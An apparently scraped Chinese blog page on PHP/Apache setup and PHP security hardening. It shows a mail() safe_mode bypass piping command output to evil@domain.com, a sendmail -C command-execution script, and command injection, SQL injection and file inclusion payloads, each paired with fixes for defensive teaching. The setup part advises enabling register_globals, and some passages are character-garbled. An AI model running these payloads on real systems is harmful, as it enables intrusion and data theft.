php服務器安全文檔介紹內容(php安全之道)

本文目錄一覽:

如何配置php服務器

一、使用Apache

≡ PHP 5.2.5 的安裝 ≡

1、到其官方站點下載 php-5.2.5-Win32.zip 並解壓(據說:不要下載及使用它的Installer,這種方式雖然很自動化、很智能,但也存在很多方面的限制,因為不推薦。)到一個目錄”D:\PHP\PHP”。

將PHP目錄(D:\PHP\PHP)下的php.ini-recommended複製到windows(有的系統是winnt目錄)目錄下,並改名為php.ini,並找到extension_dir,將它修改為extension_dir=”D:\PHP\PHP\ext”。其實使用php.ini-dist也能達到同樣的效果,但建議使用 php.ini-recommended,因為此文件對默認設置作了性能和安全上的優化。

PHP.ini部分說明:

default_charset=”gb2312″ ,修改默認字符集,這裡,如果前面有分號“;”,去掉這個分號;

register_globals=Off 改為 register_globals=On ,使傳遞全局變量有效;

extension=php_dba.dll 如果前面有分號,取消分號,以下同;

extension=php_dbase.dll

extension=php_gd2.dll GD庫做圖,一般用於圖形驗證碼;

extension=php_mysql.dll 用於連接MYSQL數據庫;

short_open_tag=On 支持?php…?和?…?,Off為僅支持?php…?

複製D:\PHP\PHP目錄下的php5ts.dll和libmysql.dll(用於支持mysql)文件到windows的系統文件夾里,即:C:\windows\system32。

≡ Apache 2.2.8 的安裝 ≡

1、到其官方站點下載 apache_2.2.8-win32-x86-no_ssl.msi 並執行。

按3次Next按鈕,安裝程序要求輸入你的Network Domain(網絡域名)、Server Domain(服務器域名)和網站管理員的E-mail,有的話就如實填寫,本說明介紹的是本地自建測試環境,所以隨便一下,前兩個填 localhost ,郵件寫自己的即可。

進入Next後,默認的安裝路徑是”C:\Program Files\Apache Software Foundation\Apache2.2\”,修改路徑,改為自己所要的”D:\PHP\Apache2.2″。

然後一路下去,直到安裝結束;此時,打開D盤下的PHP文件夾,可以看到有一個名為Apache2.2的文件夾。

2、打開IE,然後在地址欄輸入:”” 或者 “” 可以看到Apache安裝完成的成功頁面;

3、conf/httpd.conf文件的配置

1)查找“DocumentRoot”,這裡是指定主頁放置的目錄。默認是:“D:\PHP\Apache2.2\htdocs”,你可以使用默認的目錄,也可以自己定義一個,如:“D:/PHP”。注意:目錄末尾不要加“/”。

2)查找“DirectoryIndex”,這裡是默認首頁文件名,可以在index.html 的後面加入index.php等。多個文件名用空格分隔。

3)查找

Directory /

Options FollowSymLinks

AllowOverride None

Order deny,allow

Deny from all

/Directory

修改為:

Directory /

Options FollowSymLinks

AllowOverride None

Order deny,allow

allow from all

/Directory

如果不改這裡的話,可能會出現 You don’t have permission to access / on this server. 這樣的錯誤提示,尤其在改變了默認主頁的路徑後。

4)建立虛擬目錄

找到IfModule alias_module …… /IfModule

添加Alias /webpath “D:\PHP\Apache2.2\phptxt”

Directory “D:\PHP\Apache2.2\phptxt”

Options MultiViews

AllowOverride None

Order allow,deny

Allow from all

/Directory

其中/webpath為虛擬目錄名稱,”D:\PHP\Apache2.2\phptxt”為文件存放位置。

訪問的地址為:

5)使服務器支持PHP,在相應位置加入如下兩句代碼

LoadModule php5_module “D:\PHP\PHP\php5apache2_2.dll”

AddType application/x-httpd-php .php .php3 .inc

注意:修改了httpd.conf文件,需要重啟Apache2.2才生效。

二、使用IIS解析PHP文件

1、同上,先安裝 PHP 5.2.5。

2、打開IIS管理器,選擇“默認網站”-“屬性”,彈出的對話框中選擇“主目錄”先項卡,執行權限改為“腳本和可執行文件”,點擊“配置”,添加應用程序擴展名映射,可執行文件選擇“D:\PHP\PHP\php5isapi.dll”,擴展名“.php”,並選擇全部動作、腳本引擎、確認文件是否存在。

若為win2003系統,還需要添加web服務擴展,要求的文件為“D:\PHP\PHP\php5isapi.dll”,擴展名為“PHP”,狀況改成允許。

php是什麼格式的文件

PHP 是一種嵌入在 HTML 並由服務器解釋的腳本語言。它可以用於管理動態內容、支持數據庫、處理會話跟蹤,甚至構建整個電子商務站點。它支持許多流行的數據庫,包括 MySQL、PostgreSQL、Oracle、Sybase、Informix 和 Microsoft SQL Server。

大多數常規 PHP 的安裝通常是與 Linux 或各種 UNIX 上的 Apache 一起運行的 PHP 模塊。但是如果正在使用其它平台,不要擔心。PHP 可以在 Windows NT 和 9x 以及其它許多 Web 服務器上運行。可以在主要介紹 Apache/Linux/PHP 組合的一些網站上找到更多有關 PHP 的文檔,但它並不是支持 PHP 的唯一平台。

購買具有全部功能的嵌入式 Web 腳本語言要花多少錢?一分錢不花?PHP 是一個開放源碼項目,所以沒有購買許可證的費用或限制使用的問題。您可以使用 PHP 來運行小的、非贏利性站點,或者運行十億美元的電子商務網站,而且成本是一樣的:零。不僅如此,如果想要或需要修改 PHP,可以修改它。

PHP是一種服務器端腳本語言,你所說的是圖片,是用PHP程序輸出的圖片,你只要用ACDSEE等看圖軟件也能打開該文件,然後可以另存為JPG,GIF等格式,當然,如果您知道他的格式,可以將文件的擴展名[php]直接改成gif或jpg就可以了.

php安全配置 如何配置使其更安全

一、Web服務器安全

PHP其實不過是Web服務器的一個模塊功能,所以首先要保證Web服務器的安全。當然Web服務器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web服務器結合,這裡也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的:

[mail function]

; For Win32 only.

SMTP = localhost

; For Win32 only.

sendmail_from = me@localhost.com

都是針對Win32平台,所以需要在chroot環境下調整好sendmail。

二、PHP本身問題

1、遠程溢出

PHP-4.1.2以下的所有版本都存在文件上傳遠程緩衝區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高:

2、遠程拒絕服務

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶權限,但是也能造成拒絕服務。

3、safe_mode繞過漏洞

還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PHP腳本evil.php:

? mail(“foo@bar,”foo”,”bar”,””,$bar); ?

執行如下的URL:

;/usr/bin/id|mail evil@domain.com

這將id執行的結果發送給evil@domain.com。

對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:

?

# 注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣

$script=”/tmp/script123″;

$cf=”/tmp/cf123″;

$fd = fopen($cf, “w”);

fwrite($fd, “OQ/tmp

Sparse=0

R$*” . chr(9) . “$#local $@ $1 $: $1

Mlocal, P=/bin/sh, A=sh $script”);

fclose($fd);

$fd = fopen($script, “w”);

fwrite($fd, “rm -f $script $cf; “);

fwrite($fd, $cmd);

fclose($fd);

mail(“nobody”, “”, “”, “”, “-C$cf”);

?

還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。

三、PHP本身的安全配置

PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。

如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web服務器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。

如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定義目錄:

Directory /var/www

Options FollowSymLinks

php_admin_value safe_mode 1

/Directory

重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的文件打開、命令執行等函數。

所有操作文件的函數將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:

?include(“index.html”)?

幾個文件的屬性如下:

# ls -la

total 13

drwxr-xr-x 2 root root 104 Jul 20 01:25 .

drwxr-xr-x 16 root root 384 Jul 18 12:02 ..

-rw-r–r– 1 root root 4110 Oct 26 2002 index.html

-rw-r–r– 1 www-data www-data 41 Jul 19 19:14 test.php

在瀏覽器請求test.php會提示如下的錯誤信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目錄的UID和腳本UID一致,那麼該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。

如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:

safe_mode_gid = On

設置了safe_mode以後,所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:

safe_mode_exec_dir = /usr/local/php/exec

然後拷貝程序到該目錄,那麼php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。

safe_mode_include_dir string

當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。

從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。

指定的限制實際上是一個前綴,而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那麼請在結尾加上一個斜線,例如:“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string

設置某些環境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?杴榭魷攏?沒е荒萇柚靡?PHP_ 開頭的環境變量(例如 PHP_FOO = BAR)。

注: 如果本指令為空,PHP 將使用戶可以修改任何環境變量!

safe_mode_protected_env_vars string

本指令包含有一個逗號分隔的環境變量的列表,最終用戶不能用 putenv() 來改變這些環境變量。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變量。

雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。

討論完safe_mode後,下面結合程序代碼實際可能出現的問題討論如何通過對PHP服務器端的配置來避免出現的漏洞。

2、變量濫用

PHP默認register_globals = On,對於GET, POST, Cookie, Environment, Session的變罧梢災苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = “EGPCS”(可以通過php.ini修改),同名變量variables_order右邊的覆蓋左邊,所以變量的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變量初始化的習慣,像如下的程序片斷就極易受到攻擊:

?

//test_1.php

if ($pass == “hello”)

$auth = 1;

if ($auth == 1)

echo “some important information”;

else

echo “nothing”;

?

攻擊者只需用如下的請求就能繞過檢查:

這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞

PHP-4.1.0發布的時候建議關閉register_globals,並提供了7個特殊的數組變量來使用各種變量。對於從GET、POST、COOKIE等來的變量並不會直接註冊成變量,必需通過數組變量來存取。PHP-4.2.0發布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變量。

解決方法:

配置文件php.ini設置register_globals = Off。

要求程序員對作為判斷的變量在程序最開始初始化一個值。

3、文件打開

極易受攻擊的代碼片斷:

?

//test_2.php

if (!($str = readfile(“$filename”))) {

echo(“Could not open file: $filenameBR\n”);

exit;

}

else {

echo $str;

}

?

由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:

如下請求可以讀php文件本身:

PHP中文件打開函數還有fopen(), file()等,如果對文件名變量檢查不嚴就會造成服務器重要文件被訪問讀取。

解決方法:

如非特殊需要,把php的文件操作限制在web目錄裡面。以下是修改apache配置文件httpd.conf的一個例子:

Directory /usr/local/apache/htdocs

php_admin_value open_basedir /usr/local/apache/htdocs

/Directory

重啟apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免這種問題,前面已經討論過了。

4、包含文件

極易受攻擊的代碼片斷:

?

//test_3.php

if(file_exists($filename))

include(“$filename”);

?

這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:

如果對於Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,的內容是?passthru(“ls /etc”)?,那麼如下的請求就可以在目標主機執行命令ls /etc:

攻擊者甚至可以通過包含apache的日誌文件access.log和error.log來得到執行命令的代碼,不過由於干擾信息太多,有時不易成功。

對於另外一種形式,如下代碼片斷:

?

//test_4.php

include(“$lib/config.php”);

?

攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然後用如下請求也可以在目標主機執行命令:

PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變量檢查不嚴就會對系統造成嚴重危險,可以遠程執行命令。

解決方法:

要求程序員包含文件里的參數盡量不要使用變量,如果使用變量,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。

如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。修改php.ini文件:

allow_url_fopen = Off

重啟apache。

5、文件上傳

php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認是系統的臨時目錄,如:/tmp)里的一個類似phpxXuoXG的隨機臨時文件,程序執行結束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變量:(如form變量名是file,而且register_globals打開)

$file #就是保存到服務器端的臨時文件(如/tmp/phpxXuoXG )

$file_size #上傳文件的大小

$file_name #上傳文件的原始名稱

$file_type #上傳文件的類型

推薦使用:

$HTTP_POST_FILES[file][tmp_name]

$HTTP_POST_FILES[file][size]

$HTTP_POST_FILES[file][name]

$HTTP_POST_FILES[file][type]

這是一個最簡單的文件上傳代碼:

?

//test_5.php

if(isset($upload) $file != “none”) {

copy($file, “/usr/local/apache/htdocs/upload/”.$file_name);

echo “文件”.$file_name.”上傳成功!點擊a href=\”$PHP_SELF\”繼續上傳/a”;

exit;

}

?

html

head

title文件上傳/title

meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″

/head

body bgcolor=”#FFFFFF”

form enctype=”multipart/form-data” method=”post”

上傳文件:

input type=”file” name=”file” size=”30″

input type=”submit” name=”upload” value=”上傳”

/form

/body

/html

這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。

下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個目錄必須nobody可寫)下的attack.txt文件里:

… ile_name=attack.txt

然後可以用如下請求讀取口令文件:

攻擊者可以把php文件拷貝成其它擴展名,泄漏腳本源代碼。

攻擊者可以自定義form里file_name變量的值,上傳覆蓋任意有寫權限的文件。

攻擊者還可以上傳PHP腳本執行主機的命令。

解決方法:

PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數,可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統文件拷貝到web目錄。

使用$HTTP_POST_FILES數組來讀取用戶上傳的文件變量。

嚴格檢查上傳變量。比如不允許是php腳本文件。

把PHP腳本操作限制在web目錄可以避免程序員使用copy函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。

把PHP腳本用phpencode進行加密,避免由於copy操作泄漏源碼。

嚴格配置文件和目錄的權限,只允許上傳的目錄能夠讓nobody用戶可寫。

對於上傳目錄去掉PHP解釋功能,可以通過修改httpd.conf實現:

Directory /usr/local/apache/htdocs/upload

php_flag engine off

#如果是php3換成php3_engine off

/Directory

重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒有問題,只能直接顯示源碼。

6、命令執行

下面的代碼片斷是從PHPNetToolpack摘出,詳細的描述見:

?

//test_6.php

system(“traceroute $a_query”,$ret_strs);

?

由於程序沒有過濾$a_query變量,所以攻擊者可以用分號來追加執行命令。

攻擊者輸入如下請求可以執行cat /etc/passwd命令:

;cat /etc/passwd

PHP的命令執行函數還有system(), passthru(), popen()和“等。命令執行函數非常危險,慎用。如果要使用一定要嚴格檢查用戶輸入。

解決方法:

要求程序員使用escapeshellcmd()函數過濾用戶輸入的shell命令。

啟用safe_mode可以杜絕很多執行命令的問題,不過要注意PHP的版本一定要是最新的,小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。

7、sql_inject

如下的SQL語句如果未對變量進行處理就會存在問題:

select * from login where user=$user and pass=$pass

攻擊者可以用戶名和口令都輸入1 or 1=1繞過驗證。

不過幸虧PHP有一個默認的選項magic_quotes_gpc = On,該選項使得從GET, POST, COOKIE來的變量自動加了addslashes()操作。上面SQL語句變成了:

select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1

從而避免了此類sql_inject攻擊。

對於數字類型的字段,很多程序員會這樣寫:

select * from test where id=$id

由於變量沒有用單引號擴起來,就會造成sql_inject攻擊。幸虧MySQL功能簡單,沒有sqlserver等數據庫有執行命令的SQL語句,而且PHP的mysql_query()函數也只允許執行一條SQL語句,所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯,泄漏系統的一些信息,或者一些意想不到的情況。

解決方法:

要求程序員對所有用戶提交的要放到SQL語句的變量進行過濾。

即使是數字類型的字段,變量也要用單引號擴起來,MySQL自己會把字串處理成數字。

在MySQL里不要給PHP程序高級別權限的用戶,只允許對自己的庫進行操作,這也避免了程序出現問題被 SELECT INTO OUTFILE … 這種攻擊。

8、警告及錯誤信息

PHP默認顯示所有的警告及錯誤信息:

error_reporting = E_ALL ~E_NOTICE

display_errors = On

在平時開發調試時這非常有用,可以根據警告信息馬上找到程序錯誤所在。

正式應用時,警告及錯誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進一步攻擊提供了有利的信息。而且由於自己沒有訪問到錯誤的地方,反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日誌文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯誤所在。

修改php.ini中關於Error handling and logging部分內容:

error_reporting = E_ALL

display_errors = Off

log_errors = On

error_log = /usr/local/apache/logs/php_error.log

然後重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。

9、disable_functions

如果覺得有些函數還有威脅,可以設置php.ini里的disable_functions(這個選項不能在httpd.conf里設置),比如:

disable_functions = phpinfo, get_cfg_var

可以指定多個函數,用逗號分開。重啟apache後,phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var,這兩個函數容易泄漏服務器信息,而且沒有實際用處。

10、disable_classes

這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設置,只能在php.ini配置文件里修改。

11、open_basedir

前面分析例程的時候也多次提到用open_basedir對腳本操作路徑進行限制,這裡再介紹一下它的特性。用open_basedir指定的限制實際上是前綴,不是目錄名。也就是說 “open_basedir = /dir/incl” 也會允許訪問 “/dir/include” 和 “/dir/incls”,如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結束路徑名。例如:”open_basedir = /dir/incl/”。

可以設置多個目錄,在Windows中,用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模塊時,父目錄中的open_basedir路徑自動被繼承。

四、其它安全配置

1、取消其它用戶對常用、重要系統命令的讀寫執行權限

一般管理員維護只需一個普通用戶和管理用戶,除了這兩個用戶,給其它用戶能夠執行和訪問的東西應該越少越好,所以取消其它用戶對常用、重要系統命令的讀寫執行權限能在程序或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的權限也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。

如果要取消某程如果是在chroot環境里,這個工作比較容易實現,否則,這項工作還是有些挑戰的。因為取消一些程序的執行權限會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信,所以/bin/bash的執行權限不能去掉。這是一項比較累人的工作,

2、去掉apache日誌其它用戶的讀權限

apache的access-log給一些出現本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那麼把包含文件指向access-log就可以執行那些PHP代碼,從而獲得本地訪問權限。

如果有其它虛擬主機,也應該相應去掉該日誌文件其它用戶的讀權限。

當然,如果你按照前面介紹的配置PHP那麼一般已經是無法讀取日誌文件了。

php是什麼文件?

按照你說的情況,我估計你是下載筆刷的時候,不是直接點下載,而是用下載軟件來下,對吧?有些網站為了禁止訪問者用多線程下載軟件下載,在下載連接里加了技術處理,你如果用下載軟件來下,那麼你只能下載到連接的網頁源文件,即PHP,這個站是用PHP技術搭建的。

如何確定是不是我以上所說情況?你可以查看你下載的PHP文件,看看是不是文件大小全部一樣或者用記事本直接打開,看看內容是不是一樣,如果是的話,那你就得老老實實去一個一個的下載。

如果不是的話,你可以把那些後綴名為PHP的文件,改為abr,然後打開PS在工具攔里點筆刷那個工具,接着到上面調畫筆大小的那個對話框,旁邊有個小三角,點載入畫筆那裡把abr文件載入,就可以了。

php文件是做什麼用的?

PHP,即“PHP: Hypertext Preprocessor”,是一種廣泛用於 Open Source(開放源代碼)的尤其適合 Web 開發並可以嵌入 HTML 的多用途腳本語言。它的語法接近 C,Java 和 Perl,而且容易學習。該語言的主要目標是讓 Web 開發人員快速的書寫動態生成的網頁.

PHP 代碼是運行在服務端的.

它的使用需要你的服務器安裝php服務.

PHP 能做什麼?

PHP 能做任何事。PHP 主要是用於服務端的腳本程序,因此您可以用 PHP 來完成任何其它的 CGI 程序能夠完成的工作,例如收集表單數據,生成動態網頁,或者發送/接收 Cookies。但 PHP 的功能遠不局限於此。

PHP 腳本主要用於以下三個領域。

服務端腳本。這是 PHP 最傳統,也是最主要的目標領域。開展這項工作您需要具備以下三點:PHP 解析器(CGI 或者服務器模塊)、WEB 服務器和 WEB 瀏覽器。您需要在運行 WEB 服務器時,安裝並配置 PHP,然後,可以用 WEB 瀏覽器來訪問 PHP 程序的輸出,即瀏覽服務端的 PHP 頁面。請查閱“安裝”一章以獲取更多信息。

命令行腳本。您可以編寫一段 PHP 腳本,並且不需要任何服務器或者瀏覽器來運行它。通過這種方式,您僅僅只需要 PHP 解析器來執行。這種用法對於依賴 cron(Unix 或者 Linux 環境)或者 Task Scheduler(Windows 環境)的日常運行的腳本來說是理想的選擇。這些腳本也可以用來處理簡單的文本。請參閱“PHP 的命令行模式”以獲取更多信息。

編寫客戶端的 GUI 應用程序。對於基於窗口式的應用程序來說,PHP 或許不是一種最好的語言,但是如果您非常精通 PHP,並且希望在您的客戶端應用程序中使用 PHP 的一些高級特性,您可以利用 PHP-GTK 來編寫這些程序。用這種方法,您還可以編寫跨平台的應用程序。PHP-GTK 是 PHP 的一個擴展,在通常發布的 PHP 包中並不包含它。如果您對 PHP-GTK 感興趣,請訪問其網站以獲取更多信息。

PHP 能夠用在所有的主流操作系統上,包括 Linux、Unix 的各種變種(包括 HP-UX、Solaris 和 OpenBSD)、Microsoft Windows、Mac OS X、RISC OS 等。今天,PHP已經支持了大多數的 WEB 服務器,包括 Apache、Microsoft Internet Information Server(IIS)、Personal Web Server(PWS)、Netscape 以及 iPlant server、Oreilly Website Pro Server、Caudium、Xitami、OmniHTTPd 等。對於大多數的服務器,PHP 提供了一個模塊;還有一些 PHP 支持 CGI 標準,使得 PHP 能夠作為 CGI 處理器來工作。

綜上所述,使用 PHP,您可以自由地選擇操作系統和 WEB 服務器。同時,您還可以在開發時選擇使用面對過程和面對對象,或者兩者混和的方式來開發。儘管 PHP 目前的版本還沒有支持 OOP 所有的標準,但很多代碼倉庫和大型的應用程序(包括 PEAR 庫)僅使用 OOP 代碼來開發。

使用 PHP,您並不局限於輸出 HTML。PHP 還能被用來動態輸出圖像、PDF 文件甚至 Flash 動畫(使用 libswf 和 Ming)。您還能夠非常簡便的輸出文本,例如 XHTML 以及任何其它形式的 XML 文件。PHP 能夠自動生成這些文件,在服務端開闢出一塊動態內容的緩存,可以直接把它們打印出來,或者將它們存儲到文件系統中。

PHP 最強大最顯著的特性之一,是它支持很大範圍的數據庫。您會發現利用 PHP 編寫數據庫支持的網頁簡單得難以置信。目前,PHP 支持如下數據庫:

Adabas D Ingres Oracle (OCI7 and OCI8)

dBase InterBase Ovrimos

Empress FrontBase PostgreSQL

FilePro (read-only) mSQL Solid

Hyperwave Direct MS-SQL Sybase

IBM DB2 MySQL Velocis

Informix ODBC Unix dbm

我們同時還有一個 DBX 擴展庫使得您可以自由的使用該擴展庫支持的任何數據庫。另外,PHP 還支持 ODBC,即 Open Database Connection Standard(開放數據庫連接標準),因此您可以連接任何其它支持該世界標準的數據庫。

PHP 還支持利用諸如 LDAP、IMAP、SNMP、NNTP、POP3、HTTP、COM(Windows 環境)等不計其數的協議的服務。您還可以開放原始網絡端口,使得任何其它的協議能夠協同工作。PHP 支持和所有 WEB 開發語言之間的 WDDX 複雜數據交換。關於相互連接,PHP 已經支持了對 Java 對象的即時連接,並且可以將他們自由的用作 PHP 對象。您甚至可以用我們的 CORBA 擴展庫來訪問遠程對象。

PHP 具有極其有效的文本處理特性,支持從 POSIX 擴展或者 Perl 正則表達式到 XML 文檔解析。為了解析和訪問 XML 文檔,我們支持了 SAX 和 DOM 標準。您可以使用我們的 XSLT 擴展庫來轉換 XML 文檔。

如果您將 PHP 用於電子商務領域,您會發現其 Cybercash payment、CyberMUT、VeriSign Payflow Pro 以及 CCVS 函數對於您的在線交易程序來所是非常有用的。

參考資料:版權 © 1997, 1998, 1999, 2000, 2001, 2002, 2003 PHP 文檔小組

原創文章,作者:CDHST,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/128994.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
CDHST的頭像CDHST
上一篇 2024-10-03 23:25
下一篇 2024-10-03 23:26

相關推薦

  • Git secbit:一種新型的安全Git版本

    Git secbit是一種新型的安全Git版本,它在保持Git原有功能的同時,針對Git存在的安全漏洞做出了很大的改進。下面我們將從多個方面對Git secbit做詳細地闡述。 一…

    編程 2025-04-29
  • 使用Spire.PDF進行PDF文檔處理

    Spire.PDF是一款C#的PDF庫,它可以幫助開發者快速、簡便地處理PDF文檔。本篇文章將會介紹Spire.PDF庫的一些基本用法和常見功能。 一、PDF文檔創建 創建PDF文…

    編程 2025-04-29
  • 服務器安裝Python的完整指南

    本文將為您提供服務器安裝Python的完整指南。無論您是一位新手還是經驗豐富的開發者,您都可以通過本文輕鬆地完成Python的安裝過程。以下是本文的具體內容: 一、下載Python…

    編程 2025-04-29
  • STUN 服務器

    STUN 服務器是一個網絡服務器,可以協助網絡設備(例如 VoIP 設備)解決 NAT 穿透、防火牆等問題,使得設備可以正常地進行數據傳輸。本文將從多個方面對 STUN 服務器做詳…

    編程 2025-04-29
  • 解決docker-compose 容器時間和服務器時間不同步問題

    docker-compose是一種工具,能夠讓您使用YAML文件來定義和運行多個容器。然而,有時候容器的時間與服務器時間不同步,導致一些不必要的錯誤和麻煩。以下是解決方法的詳細介紹…

    編程 2025-04-29
  • Python爬蟲文檔報告

    本文將從多個方面介紹Python爬蟲文檔的相關內容,包括:爬蟲基礎知識、爬蟲框架及常用庫、爬蟲實戰等。 一、爬蟲基礎知識 1、爬蟲的定義: 爬蟲是一種自動化程序,通過模擬人的行為在…

    編程 2025-04-28
  • Python代碼簡潔之道

    Python是一種簡潔明了的編程語言,對於許多開發人員來說,代碼的簡潔性就是Python最大的特點之一。通過遵循一些簡單的Python代碼規則和準則,我們可以幫助改進代碼的可讀性和…

    編程 2025-04-28
  • 手機安全模式怎麼解除?

    安全模式是一種手機自身的保護模式,它會禁用第三方應用程序並使用僅限基本系統功能。但有時候,安全模式會使你無法使用手機上的一些重要功能。如果你想解除手機安全模式,可以嘗試以下方法: …

    編程 2025-04-28
  • Python生成PDF文檔

    Python是一門廣泛使用的高級編程語言,它可以應用於各種領域,包括Web開發、數據分析、人工智能等。在這些領域的應用中,有很多需要生成PDF文檔的需求。Python有很多第三方庫…

    編程 2025-04-28
  • Powersploit:安全評估與滲透測試的利器

